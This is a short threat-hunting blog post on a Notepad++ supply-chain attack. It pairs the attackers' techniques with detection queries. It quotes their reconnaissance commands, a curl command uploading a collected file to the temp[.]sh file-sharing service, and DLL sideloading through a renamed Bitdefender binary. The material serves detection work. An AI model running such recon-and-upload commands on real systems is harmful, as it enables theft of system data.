372. The Notepad++ Supply Chain Attack: Detection and Hunting Opportunities
Hello everyone!
Today we’ll talk about a supply-chain attack related to Notepad++ and look at whether it was possible to detect the artifacts of compromise associated with it.
Let’s take a look at the Kaspersky Lab report dedicated to this attack. The first thing that caught my attention is that, once again, the attackers executed a large number of commands to collect information about the compromised system, for example:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Yes, hunting for this kind of behavioral markers will generate a lot of “noise,” but if you know your infrastructure well, they can absolutely be worked with:
event_type: "processcreatewin"
AND
proc_p_file_path: "cmd.exe"
AND
cmdline: (*whoami* OR *tasklist* OR *systeminfo* OR *netstat*)
Next, the attackers once again abused cURL, and this time they also used a rather suspicious web service - temp[.]sh:
curl.exe -F "file=@1.txt" -s hxxps://temp[.]sh/upload
Of course, this is yet another detection opportunity:
event_type: "processcreatewin"
AND
proc_file_path: "curl.exe"
AND
cmdline: *temp.sh*
The attackers also actively used DLL sideloading. For example, they abused Bitdefender ConnectAgent, renaming it to BluetoothService.exe. And this is yet another opportunity for detection:
event_type: "processcreatewin"
AND
proc_file_originalfilename: "BDSubWiz.exe"
AND NOT
proc_file_path: "BDSubWiz.exe"
What does all this prove once again? A supply-chain attack is just a method of gaining initial access - but even if attackers succeed in obtaining it, you still have plenty of opportunities to detect them before they cause damage!
See you soon!

Comments
Post a Comment